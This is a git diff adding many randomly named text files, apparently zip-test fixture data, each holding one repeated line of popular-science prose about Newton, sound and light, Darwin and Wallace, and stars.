diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ymgalitexorxhdj.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ymgalitexorxhdj.txt
new file mode 100644
index 0000000..21e54c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ymgalitexorxhdj.txt
@@ -0,0 +1 @@
+astonishing discoveries, Newton replied unhelpfully, ‘By thinking upon them.’ His work
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/zijgdrzhdvreqlpiydscmw.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/zijgdrzhdvreqlpiydscmw.txt
new file mode 100644
index 0000000..d59fb67
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/zijgdrzhdvreqlpiydscmw.txt
@@ -0,0 +1 @@
+Suppose you take an apple pie and cut it in half; take one of the two pieces, cut it in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_aowfebnypzsretakipi.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_aowfebnypzsretakipi.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_aowfebnypzsretakipi.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_brnheqpkb.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_brnheqpkb.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_brnheqpkb.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_eaigogtrdslbxenbnfisxepj.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_eaigogtrdslbxenbnfisxepj.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_eaigogtrdslbxenbnfisxepj.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_egqbpniplov.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_egqbpniplov.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_egqbpniplov.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_gwjtqqadtefrqs.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_gwjtqqadtefrqs.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_gwjtqqadtefrqs.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_jlfivzrgcubr.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_jlfivzrgcubr.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_jlfivzrgcubr.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_lajnafrfzk.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_lajnafrfzk.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_lajnafrfzk.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_lqqprxhjtarithwygepdnlf.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_lqqprxhjtarithwygepdnlf.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_lqqprxhjtarithwygepdnlf.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_nrdmtgaxkhxasound.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_nrdmtgaxkhxasound.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_nrdmtgaxkhxasound.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_pdpygeaphbafepdzw.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_pdpygeaphbafepdzw.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_pdpygeaphbafepdzw.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_pnwvfhejwcqseezvmdv.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_pnwvfhejwcqseezvmdv.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_pnwvfhejwcqseezvmdv.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_refcigkxievpu.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_refcigkxievpu.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_refcigkxievpu.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_rrjfyyhombtbxumbdu.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_rrjfyyhombtbxumbdu.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_rrjfyyhombtbxumbdu.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_wwxeisxucykwqtkgcrkv.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_wwxeisxucykwqtkgcrkv.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_wwxeisxucykwqtkgcrkv.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_ygocxgpzuxqjwfs.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_ygocxgpzuxqjwfs.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_ygocxgpzuxqjwfs.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/file_zqjgjdxgn.txt b/big_zip/big-zip-files/folder_fqmjtuthge/file_zqjgjdxgn.txt
new file mode 100644
index 0000000..6b67db3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/file_zqjgjdxgn.txt
@@ -0,0 +1 @@
+reaches you when a friend is talking is the motion of molecules in the air. Light, however,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_atiibzwmj.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_atiibzwmj.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_atiibzwmj.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_bdazgqyoiux.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_bdazgqyoiux.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_bdazgqyoiux.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_cphxqwro.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_cphxqwro.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_cphxqwro.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_didexgcrtyev.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_didexgcrtyev.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_didexgcrtyev.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_hwenfgbvlsiutpzap.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_hwenfgbvlsiutpzap.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_hwenfgbvlsiutpzap.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ijoohrldnvltouiak.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ijoohrldnvltouiak.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ijoohrldnvltouiak.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_killpqhviqfap.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_killpqhviqfap.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_killpqhviqfap.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_lmptznpgvygegty.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_lmptznpgvygegty.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_lmptznpgvygegty.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_murgbfijbutwzhsg.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_murgbfijbutwzhsg.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_murgbfijbutwzhsg.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_nndpkoclvgx.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_nndpkoclvgx.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_nndpkoclvgx.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_nrcepuoopamysxstrnwef.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_nrcepuoopamysxstrnwef.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_nrcepuoopamysxstrnwef.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_rmdklobror.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_rmdklobror.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_rmdklobror.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ryxcvlndxgopfxo.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ryxcvlndxgopfxo.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ryxcvlndxgopfxo.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_sldobvymdlygz.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_sldobvymdlygz.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_sldobvymdlygz.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_trljrjwqo.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_trljrjwqo.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_trljrjwqo.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ukdnwikfwirpjqweoxyb.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ukdnwikfwirpjqweoxyb.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ukdnwikfwirpjqweoxyb.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_vhehbohwob.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_vhehbohwob.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_vhehbohwob.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_xpnrbselkyinkrfncbw.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_xpnrbselkyinkrfncbw.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_xpnrbselkyinkrfncbw.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ybjherjngtnphowdbixiwta.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ybjherjngtnphowdbixiwta.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_ybjherjngtnphowdbixiwta.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_yccpencsrrp.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_yccpencsrrp.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_yccpencsrrp.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zhfmelkt.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zhfmelkt.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zhfmelkt.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zkjxknslrgiqbqhwvsfmns.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zkjxknslrgiqbqhwvsfmns.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zkjxknslrgiqbqhwvsfmns.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zwqgrfamcujobfh.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zwqgrfamcujobfh.txt
new file mode 100644
index 0000000..b4a63b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/file_zwqgrfamcujobfh.txt
@@ -0,0 +1 @@
+When I was a college undergraduate in the early 1950’s, I was fortunate enough to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/ccyflkelpv.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/ccyflkelpv.txt
new file mode 100644
index 0000000..68b6848
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/ccyflkelpv.txt
@@ -0,0 +1 @@
+years in such separate or joint colonial ventures without ever stumbling upon our obscure
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/cgsrnfzrirkzeymgxy.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/cgsrnfzrirkzeymgxy.txt
new file mode 100644
index 0000000..1dd6695
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/cgsrnfzrirkzeymgxy.txt
@@ -0,0 +1 @@
+especially without a telescope. It is one-fifteenth the angular diameter of the full Moon as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/chbcpizvqesclmv.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/chbcpizvqesclmv.txt
new file mode 100644
index 0000000..f3b53a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/chbcpizvqesclmv.txt
@@ -0,0 +1 @@
+tribes of wandering hunterfolk, carrying big fires. But I don’t see how wandering stars can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_bdhduiniplkyrudaswfllndk.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_bdhduiniplkyrudaswfllndk.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_bdhduiniplkyrudaswfllndk.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_cmobzdlponntscihdroar.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_cmobzdlponntscihdroar.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_cmobzdlponntscihdroar.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_czjojczwozpyn.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_czjojczwozpyn.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_czjojczwozpyn.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_fbmwmpghmmpxiilsaoui.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_fbmwmpghmmpxiilsaoui.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_fbmwmpghmmpxiilsaoui.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_glkltztjdrusbwaomjmh.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_glkltztjdrusbwaomjmh.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_glkltztjdrusbwaomjmh.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_hnknnepp.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_hnknnepp.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_hnknnepp.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_invtgxfzpiqkm.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_invtgxfzpiqkm.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_invtgxfzpiqkm.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_llntilgwgmjpplf.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_llntilgwgmjpplf.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_llntilgwgmjpplf.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_lxgylpjmyxjwnxhhsakgojng.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_lxgylpjmyxjwnxhhsakgojng.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_lxgylpjmyxjwnxhhsakgojng.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_mwykqkfpxroefuasekwhk.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_mwykqkfpxroefuasekwhk.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_mwykqkfpxroefuasekwhk.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_noogaeldgittfxzwuycbt.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_noogaeldgittfxzwuycbt.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_noogaeldgittfxzwuycbt.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_ovqmuwzrx.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_ovqmuwzrx.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_ovqmuwzrx.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_qegvmoirmfhxljv.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_qegvmoirmfhxljv.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_qegvmoirmfhxljv.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_reyvqvfwoupkmfnq.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_reyvqvfwoupkmfnq.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_reyvqvfwoupkmfnq.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_rhidwczgohvrhgjtifekiqpl.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_rhidwczgohvrhgjtifekiqpl.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
